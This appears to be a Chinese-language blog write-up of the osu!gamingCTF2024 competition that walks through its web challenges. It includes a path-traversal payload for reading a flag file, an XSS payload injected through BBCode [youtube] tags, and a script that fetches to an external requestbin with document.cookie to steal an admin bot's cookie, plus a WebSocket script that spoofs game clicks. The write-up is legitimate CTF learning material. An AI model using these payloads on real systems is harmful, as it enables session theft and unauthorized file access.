osthing's blog
GitHub RSS
6 min read

osu!gamingCTF2024 wp

和很多人一起玩了这个比赛,很有意思

ctf web writeup match

teamName: Ciallo

rank: #65

points: 3243

blockchain (0/3 solved) -> 0/3243

crypto (6/8 solved) -> 744/3243

forensics (1/5 solved) -> 117/3243

misc (3/9 solved) -> 304/3243

osint (1/4 solved) ->106/3243

osu (5/10 solved) -> 550/3243

pwn (3/4 solved) -> 422/3243

reverse (4/5 solved) -> 533/3243

web (4/6 solved) -> 467/3243

mikufanpage(490 solves / 104 points)

https://mikufanpage.web.osugaming.lol/

打开网页里面是一个图片的幻灯片循环播放,题目给了附件

题目目录是这样的

│  app.js
│  package-lock.json
│  package.json

├─img
│      flag.txt
│      miku1.jpg
│      miku2.jpg
│      miku3.png
│      miku4.png
│      miku5.jpg
│      miku6.png
│      miku7.jpg

└─public
        cube.mp3
        dance.gif
        favicon.ico
        index.html

主要看app.js

const express = require('express'); 
const path = require('path');

const app = express(); 
const PORT = process.env.PORT ?? 3000;

app.use(express.static(path.join(__dirname, 'public')));

app.listen(PORT, (err) =>{ 
    if(!err) 
        console.log("mikufanpage running on port "+ PORT) 
    else 
        console.log("Err ", err); 
}); 

app.get("/image", (req, res) => {
    if (req.query.path.split(".")[1] === "png" || req.query.path.split(".")[1] === "jpg") { // only allow images
        res.sendFile(path.resolve('./img/' + req.query.path));
    } else {
        res.status(403).send('Access Denied');
    }
});

我们的目的是要读取img下的flag.txt,关键代码如下

 if (req.query.path.split(".")[1] === "png" || req.query.path.split(".")[1] === "jpg")

根据点来分割得到后缀名,那我们只需要用点把”png” 包裹住然后再在后面用 ../ 进行目录穿越即可,最后payload就是

/image?path=miku1.jpg./../flag.txt

得到flag

osu{miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku}

when-you-dont-see-it(235 solves / 111 points)

https://osu.ppy.sh/users/11118671

给了一个osu的用户界面

右键查看源代码搜索flag,在最后一个flag出找到flag提示(这题解的人少的原因估计是搜索出来有342个flag字样然后懒得看吧= =)

[color=]the flag is b3N1e29rX3Vfc2VlX21lfQ== encoded with base64

base64解码一下得到flag

osu{ok_u_see_me}

profile-page(190 solves / 114 points)

https://profile-page.web.osugaming.lol/login

https://adminbot.web.osugaming.lol/profile-page

给了两个网页,一个用户登录注册页面,一个检查访问页面并且给了题目附件

先简单看一下两个页面实现了什么再进行代码审计

首先是登录注册的注册好之后会直接登录,登录进去的用户界面是一个仿osu官网的用户界面

然后是检查访问界面

输入你用户的url会有一个机器人访问你的用户界面

有机器人进行页面访问,那猜测大概率是xss题了

ok,接下来我们看题目的源码先看app.js

//app.js
import express from "express";
import expressSession from "express-session";
import cookieParser from "cookie-parser";
import crypto from "crypto";
import { JSDOM } from "jsdom";
import DOMPurify from "dompurify";

const app = express();
const PORT = process.env.PORT || 2727;

app.use(express.urlencoded({ extended: false }));
app.use(expressSession({
    secret: crypto.randomBytes(32).toString("hex"),
    resave: false,
    saveUninitialized: false
}));
app.use(express.static("public"));
app.use(cookieParser());
app.set("view engine", "hbs");

app.use((req, res, next) => {
    if (req.session.user && users.has(req.session.user)) {
        req.user = users.get(req.session.user);
        res.locals.user = req.user;
    }
    next();
});

const window = new JSDOM('').window;
const purify = DOMPurify(window);
const renderBBCode = (data) => {
    data = data.replaceAll(/\[b\](.+?)\[\/b\]/g, '<strong>$1</strong>');
    data = data.replaceAll(/\[i\](.+?)\[\/i\]/g, '<i>$1</i>');
    data = data.replaceAll(/\[u\](.+?)\[\/u\]/g, '<u>$1</u>');
    data = data.replaceAll(/\[strike\](.+?)\[\/strike\]/g, '<strike>$1</strike>');
    data = data.replaceAll(/\[color=#([0-9a-f]{6})\](.+?)\[\/color\]/g, '<span style="color: #$1">$2</span>');
    data = data.replaceAll(/\[size=(\d+)\](.+?)\[\/size\]/g, '<span style="font-size: $1px">$2</span>');
    data = data.replaceAll(/\[url=(.+?)\](.+?)\[\/url\]/g, '<a href="$1">$2</a>');
    data = data.replaceAll(/\[img\](.+?)\[\/img\]/g, '<img src="$1" />');
    return data;
};
const renderBio = (data) => {
    const html = renderBBCode(data);
    const sanitized = purify.sanitize(html);
    // do this after sanitization because otherwise iframe will be removed
    return sanitized.replaceAll(
        /\[youtube\](.+?)\[\/youtube\]/g,
        '<iframe sandbox="allow-scripts" width="640px" height="480px" src="https://www.youtube.com/embed/$1" frameborder="0" allowfullscreen></iframe>'
    );
};

const sha256 = (data) => crypto.createHash('sha256').update(data).digest('hex');
const users = new Map();

const requiresLogin = (req, res, next) => req.user ? next() : res.redirect("/login");

app.post("/api/register", (req, res) => {
    const { username, password } = req.body;

    if (!username || typeof username !== "string" || !password || typeof password !== "string") {
        return res.end("missing username or password");
    }
    
    if (username.length < 5 || password.length < 8) {
        return res.end("username or password too short");
    }

    if (username.length > 30 || /[^A-Za-z0-9 ]/.test(username)) {
        return res.end("invalid username format");
    }

    if (users.has(username)) {
        return res.end("a user already exists with that username");
    }

    users.set(username, {
        username,
        password: sha256(password),
        bio: renderBio(`Welcome to ${username}'s page!`)
    });

    req.session.user = username;
    res.cookie("csrf", crypto.randomBytes(32).toString("hex"));
    res.redirect("/profile/" + username);
});

app.post("/api/login", (req, res) => {
    const { username, password } = req.body;

    if (!username || typeof username !== "string" || !password || typeof password !== "string") {
        return res.end("missing username or password");
    }

    if (!users.has(username)) {
        return res.end("no user exists with that username");
    }

    if (users.get(username).password !== sha256(password)) {
        return res.end("invalid password");
    }

    req.session.user = username;
    res.cookie("csrf", crypto.randomBytes(32).toString("hex"));
    res.redirect("/profile/" + username);
});

// TODO: update bio from UI
app.post("/api/update", requiresLogin, (req, res) => {
    const { bio } = req.body;

    if (!bio || typeof bio !== "string") {
        return res.end("missing bio");
    }

    if (!req.headers.csrf) {
        return res.end("missing csrf token");
    }

    if (req.headers.csrf !== req.cookies.csrf) {
        return res.end("invalid csrf token");
    }

    if (bio.length > 2048) {
        return res.end("bio too long");
    }

    req.user.bio = renderBio(bio);
    res.send(`Bio updated!`);
});

app.get("/login", (req, res) => res.render("login"));
app.get("/register", (req, res) => res.render("register"));
app.get("/profile", requiresLogin, (req, res) => res.redirect("/profile/" + req.user.username));
app.get("/profile/:user", (req, res) => {
    const { user } = req.params;
    if (!users.has(user)) {
        return res.end("no user exists with that username!");
    }
    res.locals.user = users.get(user);
    res.render("profile");
});

app.get("/", (req, res) => res.redirect("/profile"));

app.get('*', (req, res) => {
    res.set("Content-Type", "text/plain");
    res.status = 404;
    res.send(`Error: ${req.originalUrl} was not found`);
});

app.listen(PORT, () => console.log(`web/profile-page listening at http://localhost:${PORT}`));

这个是登录注册的源码,里面有三个api路由和一个用户界面,每个路由进行分析

(虽然一眼看过去就知道是上面data.replaceAll有问题,但是因为代码审计能力太弱了,完全没有看见,导致做了将近两个小时,还是通过一点点非预期才看见的,谢罪了)

app.post("/api/register", (req, res) => {
    const { username, password } = req.body;

    if (!username || typeof username !== "string" || !password || typeof password !== "string") {
        return res.end("missing username or password");
    }
    
    if (username.length < 5 || password.length < 8) {
        return res.end("username or password too short");
    }

    if (username.length > 30 || /[^A-Za-z0-9 ]/.test(username)) {
        return res.end("invalid username format");
    }

    if (users.has(username)) {
        return res.end("a user already exists with that username");
    }

    users.set(username, {
        username,
        password: sha256(password),
        bio: renderBio(`Welcome to ${username}'s page!`)
    });

    req.session.user = username;
    res.cookie("csrf", crypto.randomBytes(32).toString("hex"));
    res.redirect("/profile/" + username);
});

注册的api限制了用户名长度(5,30),且只能有数字字母,且用户名不能和别人重复,密码长度大于8,并且将用户名解析在bio中(没有xss的经验让我找了快半小时only数字字母xss的技巧无果才看其他地方的)

然后是登录

app.post("/api/login", (req, res) => {
    const { username, password } = req.body;

    if (!username || typeof username !== "string" || !password || typeof password !== "string") {
        return res.end("missing username or password");
    }

    if (!users.has(username)) {
        return res.end("no user exists with that username");
    }

    if (users.get(username).password !== sha256(password)) {
        return res.end("invalid password");
    }

    req.session.user = username;
    res.cookie("csrf", crypto.randomBytes(32).toString("hex"));
    res.redirect("/profile/" + username);
});

就是检测map中值对应是否正确,没有想到可以利用的地方

最后是关键的/api/update

// TODO: update bio from UI
app.post("/api/update", requiresLogin, (req, res) => {
    const { bio } = req.body;

    if (!bio || typeof bio !== "string") {
        return res.end("missing bio");
    }

    if (!req.headers.csrf) {
        return res.end("missing csrf token");
    }

    if (req.headers.csrf !== req.cookies.csrf) {
        return res.end("invalid csrf token");
    }

    if (bio.length > 2048) {
        return res.end("bio too long");
    }

    req.user.bio = renderBio(bio);
    res.send(`Bio updated!`);
});

会把update的bio显示在ui上,并且除了DOMPurify没有任何限制,那么显然注入点就在这里了

跟着分析,我们需要构造的bio,看看这个修改bio的函数renderBio()

const renderBBCode = (data) => {
    data = data.replaceAll(/\[b\](.+?)\[\/b\]/g, '<strong>$1</strong>');
    data = data.replaceAll(/\[i\](.+?)\[\/i\]/g, '<i>$1</i>');
    data = data.replaceAll(/\[u\](.+?)\[\/u\]/g, '<u>$1</u>');
    data = data.replaceAll(/\[strike\](.+?)\[\/strike\]/g, '<strike>$1</strike>');
    data = data.replaceAll(/\[color=#([0-9a-f]{6})\](.+?)\[\/color\]/g, '<span style="color: #$1">$2</span>');
    data = data.replaceAll(/\[size=(\d+)\](.+?)\[\/size\]/g, '<span style="font-size: $1px">$2</span>');
    data = data.replaceAll(/\[url=(.+?)\](.+?)\[\/url\]/g, '<a href="$1">$2</a>');
    data = data.replaceAll(/\[img\](.+?)\[\/img\]/g, '<img src="$1" />');
    return data;
};
const renderBio = (data) => {
    const html = renderBBCode(data);
    const sanitized = purify.sanitize(html);
    // do this after sanitization because otherwise iframe will be removed
    return sanitized.replaceAll(
        /\[youtube\](.+?)\[\/youtube\]/g,
        '<iframe sandbox="allow-scripts" width="640px" height="480px" src="https://www.youtube.com/embed/$1" frameborder="0" allowfullscreen></iframe>'
    );
};

会把固定格式替换成html标签,下面就简单了,闭合一下$1处的引号,构造payload尝试一下

[youtube]1" onload="alert(1);[/youtube]

控制台发送请求

await fetch('/api/update',{
    method: 'POST',
    headers: {
        csrf: 'ed25eb2240494098879f95bef00d39940737a10165d90a1f9c2dbe8235fe3cf5',
        'content-type': 'application/x-www-form-urlencoded'
    },
    body: new URLSearchParams({
        bio: '[youtube]11" onload="alert(1)" [/youtube]'
    }).toString()
}).then(r=>r.text())

弹窗成功

接下来就简单看一下机器人

//adminbot_test.js
// admin bot test script
// npm i puppeteer
const puppeteer = require("puppeteer");

const FLAG = "osu{test_flag}";
const SITE = "https://profile-page.web.osugaming.lol";

const sleep = ms => new Promise(r => setTimeout(r, ms));

async function visit(url) {
    let browser;
    try {
        browser = await puppeteer.launch({
            headless: true,
            pipe: true,
            args: [
                "--no-sandbox",
                "--disable-setuid-sandbox",
                "--js-flags=--noexpose_wasm,--jitless",
            ],
            dumpio: true
        });

        let page = await browser.newPage();
        await page.goto(SITE, { timeout: 3000, waitUntil: 'domcontentloaded' });

        await page.evaluate((flag) => {
            document.cookie = "flag=" + flag + "; secure; path=/";
        }, FLAG);

        await page.close();
        page = await browser.newPage();

        await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' })
        await sleep(5000);

        await browser.close();
        browser = null;
    } catch (err) {
        console.log(err);
    } finally {
        if (browser) await browser.close();
    }
}

visit("EXPLOIT_URL");

机器人直接把flag写在cookie里,访问一下应该就有了

接下来就是找个站接收,推荐用这个站https://pipedream.com/requestbin

await fetch('/api/update',{
    method: 'POST',
    headers: {
        csrf: 'ed25eb2240494098879f95bef00d39940737a10165d90a1f9c2dbe8235fe3cf5',
        'content-type': 'application/x-www-form-urlencoded'
    },
    body: new URLSearchParams({
        bio: '[youtube]11" onload="fetch(`https://eonngzestk4l8vk.m.pipedream.net/`)" [/youtube]'
    }).toString()
}).then(r=>r.text())

然后把用户页面丢到机器人那里,发现并没有把cookie带出来,修改一下payload,让url把cookie带回来

await fetch('/api/update',{
    method: 'POST',
    headers: {
        csrf: 'ed25eb2240494098879f95bef00d39940737a10165d90a1f9c2dbe8235fe3cf5',
        'content-type': 'application/x-www-form-urlencoded'
    },
    body: new URLSearchParams({
        bio: '[youtube]11" onload="fetch(`https://eonngzestk4l8vk.m.pipedream.net/`+document.cookie)" [/youtube]'
    }).toString()
}).then(r=>r.text())

成功得到flag

osu{but_all_i_w4nted_to_do_was_w4tch_y0utube...}

至于说上面的一点点非预期,简单解释一下,因为是公共靶机,你可以通过公共靶机访问别人创建的任何账号,并且没有任何检查限制,幸运的我尝试的第一个用户(111111111)就是成功的,访问了之后发现他用户信息那边有图片,好奇怎么插入图片的,就找到了bio,我一开始还看不懂bio是什么,最后就顺藤摸瓜了做了出来= =

stream-vs(79 solves / 138 points)

https://stream-vs.web.osugaming.lol/

里面是一个小游戏,一开始没搞懂什么意思,简单玩了一会发现是点击频率要和bpm一样,然后打败cookiezi获得flag,这时候就需要写脚本了

直接执行肯定会慢几拍,所以需要从开始就执行,可以用js的WebSocket访问执行,然后读取bpm然后模拟,下面给出代码(晨曦大佬写的脚本)

let ws = new WebSocket('wss://stream-vs.web.osugaming.lol');
let clicks = new Set();

ws.onopen = () => {
  ws.send(JSON.stringify({ type: "login", data: "admin4" }));
  ws.send(JSON.stringify({ type: "challenge" }));
  ws.send(JSON.stringify({ type: "start" }));
};
ws.onmessage = e => {
	const { type, data } = JSON.parse(e.data);
	console.log(data);
	run(data);
}


const run = async (session) => {
	let bmp = session.songs[session.round].bpm; 
	console.log("bmp = "+bmp);
    clicks.clear();
    let start = +new Date();
    recording = true;
	let click_data = performance.now();
    let end = start + session.songs[session.round].duration * 1000;
    
	let times = end - start;
	console.log("times = "+times);
	let cnt = Math.round(bmp * 4 /60000 * times); 
	console.log("cnt = "+cnt);
	for(let i=0;i<=cnt; i++)
	{
		clicks.add(click_data+0.00999998808);
	}
    recording = false;
    ws.send(JSON.stringify({ type: "results", data: { clicks: [...clicks], start, end } }));
};

run了之后在控制台看见flag

osu{are_y0u_a_r0b0t?}